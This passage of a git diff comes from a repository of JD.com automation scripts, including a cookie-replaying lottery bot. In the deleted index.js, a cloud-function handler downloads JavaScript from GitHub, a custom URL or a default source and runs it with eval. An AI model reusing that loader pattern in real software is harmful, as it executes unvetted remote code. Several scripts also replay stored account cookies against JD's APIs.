Date).getTime(),Object.assign(this,e),this.log("",`\ud83d\udd14${this.name}, \u5f00\u59cb!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}isShadowrocket(){return"undefined"!=typeof $rocket}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),a={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(a,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){const s=t.method?t.method.toLocaleLowerCase():"post";if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient[s](t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method=s,this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:i,...r}=t;this.got[s](i,r).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}put(t,e=(()=>{})){const s=t.method?t.method.toLocaleLowerCase():"put";if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient[s](t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method=s,this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:i,...r}=t;this.got[s](i,r).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============\ud83d\udce3\u7cfb\u7edf\u901a\u77e5\ud83d\udce3=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`\u2757\ufe0f${this.name}, \u9519\u8bef!`,t.stack):this.log("",`\u2757\ufe0f${this.name}, \u9519\u8bef!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`\ud83d\udd14${this.name}, \u7ed3\u675f! \ud83d\udd5b ${s} \u79d2`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} - diff --git a/index.js b/index.js deleted file mode 100644 index 525cdf83e..000000000 --- a/index.js +++ /dev/null @@ -1,40 +0,0 @@ -//'use strict'; -exports.main_handler = async (event, context, callback) => { - try { - const { TENCENTSCF_SOURCE_TYPE, TENCENTSCF_SOURCE_URL } = process.env - //如果想在一个定时触发器里面执行多个js文件需要在定时触发器的【附加信息】里面填写对应的名称,用 & 链接 - //例如我想一个定时触发器里执行jd_speed.js和jd_bean_change.js,在定时触发器的【附加信息】里面就填写 jd_speed&jd_bean_change - for (const v of event["Message"].split("&")) { - console.log(v); - var request = require('request'); - switch (TENCENTSCF_SOURCE_TYPE) { - case 'local': - //1.执行自己上传的js文件 - delete require.cache[require.resolve('./'+v+'.js')]; - require('./'+v+'.js') - break; - case 'git': - //2.执行github远端的js文件(因github的raw类型的文件被墙,此方法云函数不推荐) - request(`https://raw.githubusercontent.com/xxx/jd_scripts/master/${v}.js`, function (error, response, body) { - eval(response.body) - }) - break; - case 'custom': - //3.执行自定义远端js文件网址 - if (!TENCENTSCF_SOURCE_URL) return console.log('自定义模式需要设置TENCENTSCF_SOURCE_URL变量') - request(`${TENCENTSCF_SOURCE_URL}${v}.js`, function (error, response, body) { - eval(response.body) - }) - break; - default: - //4.执行国内gitee远端的js文件(如果部署在国内节点,选择1或3。默认使用gitee的方式) - request(`${v}.js`, function (error, response, body) { - eval(response.body) - }) - break; - } - } - } catch (e) { - console.error(e) - } -} diff --git a/jdFruitShareCodes.js b/jdFruitShareCodes.js index 677d2b02d..d07188d1f 100644 --- a/jdFruitShareCodes.js +++ b/jdFruitShareCodes.js @@ -7,8 +7,8 @@ // 同一个京东账号的好友互助码用@符号隔开,不同京东账号之间用&符号或者换行隔开,下面给一个示例 // 如: 京东账号1的shareCode1@京东账号1的shareCode2&京东账号2的shareCode1@京东账号2的shareCode2 let FruitShareCodes = [ - '',//账号一的好友shareCode,不同好友中间用@符号隔开 - '',//账号二的好友shareCode,不同好友中间用@符号隔开 + '0a74407df5df4fa99672a037eec61f7e@dbb21614667246fabcfd9685b6f448f3@6fbd26cc27ac44d6a7fed34092453f77@61ff5c624949454aa88561f2cd721bf6@56db8e7bc5874668ba7d5195230d067a',//账号一的好友shareCode,不同好友中间用@符号隔开 + '6fbd26cc27ac44d6a7fed34092453f77@61ff5c624949454aa88561f2cd721bf6@9c52670d52ad4e1a812f894563c746ea@8175509d82504e96828afc8b1bbb9cb3',//账号二的好友shareCode,不同好友中间用@符号隔开 ] // 从日志获取互助码 diff --git a/jd_DailyBonus_Mod.js b/jd_DailyBonus_Mod.js index 131641c4f..7a3be1f38 100644 --- a/jd_DailyBonus_Mod.js +++ b/jd_DailyBonus_Mod.js @@ -1,5 +1,5 @@ /* -cron "14 0,9 * * *" jd_CheckCK.js, tag:京东多合一签到脚本修改版 + 14 0,9 * * * jd_CheckCK.js, tag:京东多合一签到脚本修改版 */ /************************* diff --git a/jd_DrawEntrance.js b/jd_DrawEntrance.js deleted file mode 100644 index acf6a8379..000000000 --- a/jd_DrawEntrance.js +++ /dev/null @@ -1,242 +0,0 @@ -/* -天天优惠大乐透 -活动入口-领券-券后9.9 -脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js -============Quantumultx=============== -[task_local] -15 6 * * * jd_DrawEntrance.js, tag=天天优惠大乐透, enabled=true -================Loon============== -[Script] -cron "15 6 * * *" script-path=jd_DrawEntrance.js,tag=天天优惠大乐透 -===============Surge================= -天天优惠大乐透 = type=cron,cronexp="15 6 * * *",wake-system=1,timeout=3600,script-path=jd_DrawEntrance.js -============小火箭========= -天天优惠大乐透 = type=cron,script-path=jd_DrawEntrance.js, cronexpr="15 6 * * *", timeout=3600, enable=true - */ -const $ = new Env('天天优惠大乐透'); -const notify = $.isNode() ? require('./sendNotify') : ''; -//Node.js用户请在jdCookie.js处填写京东ck; -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -let jdNotify = false;//是否关闭通知,false打开通知推送,true关闭通知推送 -//IOS等用户直接用NobyDa的jd cookie -let cookiesArr = [], cookie = '', message = ''; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} -const JD_API_HOST = 'https://api.m.jd.com/api'; -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); - return; - } - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - // message = ''; //不重置信息内容 - await TotalBean(); - console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); - - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - $.ADID = getUUID('xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx', 1); - $.UUID = getUUID('xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'); - $.noChance = false; - await extend(); - for (let x = 0; x < 3; x++) { - if ($.noChance) { - continue - } - $.log("\n尝试抽奖") - await doLuckDrawEntrance(); - await $.wait(1000 * 1) - } - } - } - if (message !== "") { - if ($.isNode()) { - await notify.sendNotify($.name,message) - }else{ - $.msg($.name,'',message) - } - } -})() - .catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }) - .finally(() => { - $.done(); - }) -function extend() { - return new Promise(resolve => { - $.post(taskUrl("getLuckyDrawResourceConfig", {"platformType":"1"}), async (err, resp, data) => { - try { - if (err) { - console.log(err) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - $.extend=data.result.luckyDrawConfig.extend - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -function doLuckDrawEntrance() { - let body = {"platformType":"1","extend":$.extend} - return new Promise(resolve => { - $.post(taskUrl("doLuckDrawEntrance", body), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data.success && "luckyDrawData" in data.result) { - if (data.result.luckyDrawData.checkWinOrNot) {//调整判断的顺序 - switch (data.result.luckyDrawData.couponType) { - case '2': - console.log(` 成功领取优惠券:${data.result.luckyDrawData.discount}\n ${data.result.luckyDrawData.quotaDesc},${data.result.luckyDrawData.prizeName}`) - break; - case '0': - console.log(` 成功领取无门槛红包:${data.result.luckyDrawData.quota}`) - //message += `\n【京东账号${$.index}】${$.nickName || $.UserName} \n 成功领取无门槛红包:${data.result.luckyDrawData.quota}`//增加通知内容 - break; - default: - console.log(JSON.stringify(data))//这边把对象已文本形式输出,避免对象中的属性有数组形式造成不完全打印 - break; - } - } else { - $.noChance = true; - console.log("已经没有次数了"); - } - } - - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} - -function taskUrl(function_id, body = {}) { - return { - url: `${JD_API_HOST}?functionId=${function_id}&body=${escape(JSON.stringify(body))}&appid=XPMSGC2019&client=m&clientVersion=1.0.0&area=19_1601_3633_63252&geo=[object Object]&uuid=${$.UUID}`, - headers: { - "Cookie": cookie, - "Host": "api.m.jd.com", - "Origin": "https://h5.m.jd.com", - "Content-Length": "0", - "Connection": "keep-alive", - "Accept": "application/json, text/plain, */*", - "User-Agent": `jdapp;iPhone;9.5.0;13.5;${$.UUID};network/wifi;ADID/${$.ADID};supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone11,6;addressid/138222502;supportBestPay/0;appBuild/167638;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, - "Accept-Language": "zh-cn", - "Referer": "https://h5.m.jd.com/babelDiy/Zeus/yj8mbcm6roENn7qhNdhiekyeqtd/index.html", - "Accept-Encoding": "gzip, deflate, br", - "Content-Type": "text/plain", - } - } -} -function getUUID(format = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx', UpperCase = 0) { - return format.replace(/[xy]/g, function (c) { - var r = Math.random() * 16 | 0, v = c == 'x' ? r : (r & 0x3 | 0x8); - if (UpperCase) { - uuid = v.toString(36).toUpperCase(); - } else { - uuid = v.toString(36) - } - return uuid; - }); -} -function TotalBean() { - return new Promise(async resolve => { - const options = { - "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, - "headers": { - "Accept": "application/json,text/plain, */*", - "Content-Type": "application/x-www-form-urlencoded", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Cookie": cookie, - "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", - "User-Agent": `jdapp;iPhone;9.5.0;13.5;${$.UUID};network/wifi;ADID/${$.ADID};supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone11,6;addressid/138222502;supportBestPay/0;appBuild/167638;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, - } - } - $.post(options, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - data = JSON.parse(data); - if (data['retcode'] === 13) { - $.isLogin = false; //cookie过期 - return - } - if (data['retcode'] === 0) { - $.nickName = (data['base'] && data['base'].nickname) || $.UserName; - } else { - $.nickName = $.UserName - } - } else { - console.log(`京东服务器返回空数据`) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function safeGet(data) { - try { - if (typeof JSON.parse(data) == "object") { - return true; - } - } catch (e) { - console.log(e); - console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); - return false; - } -} -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '不要在BoxJS手动复制粘贴修改cookie') - return []; - } - } -} -// prettier-ignore -function Env(t, e) { class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } \ No newline at end of file diff --git a/jd_EsportsManager.js b/jd_EsportsManager.js deleted file mode 100644 index 08ee94624..000000000 --- a/jd_EsportsManager.js +++ /dev/null @@ -1,490 +0,0 @@ -/** - 东东电竞经理:脚本更新地址 jd_EsportsManager.js - 更新时间:2021-06-20 - 活动入口:京东APP-东东农场-风车-电竞经理 - 活动链接:https://xinruidddj-isv.isvjcloud.com - [Script] - cron "20 0-23/2 * * *" script-path=jd_EsportsManager.js,tag=东东电竞经理 - 按顺序给第(Math.floor((index - 1) / 6) + 1)个账号助力 - 可能有BUG,但不会给别人号助力 - */ - -const $ = new Env('东东电竞经理'); -let cookiesArr = [], cookie = '', isBox = false, notify, newShareCodes, allMessage = ''; -let tasks = [], shareCodes = [], first = true; - -!(async () => { - await requireConfig(); - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - return; - } - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = 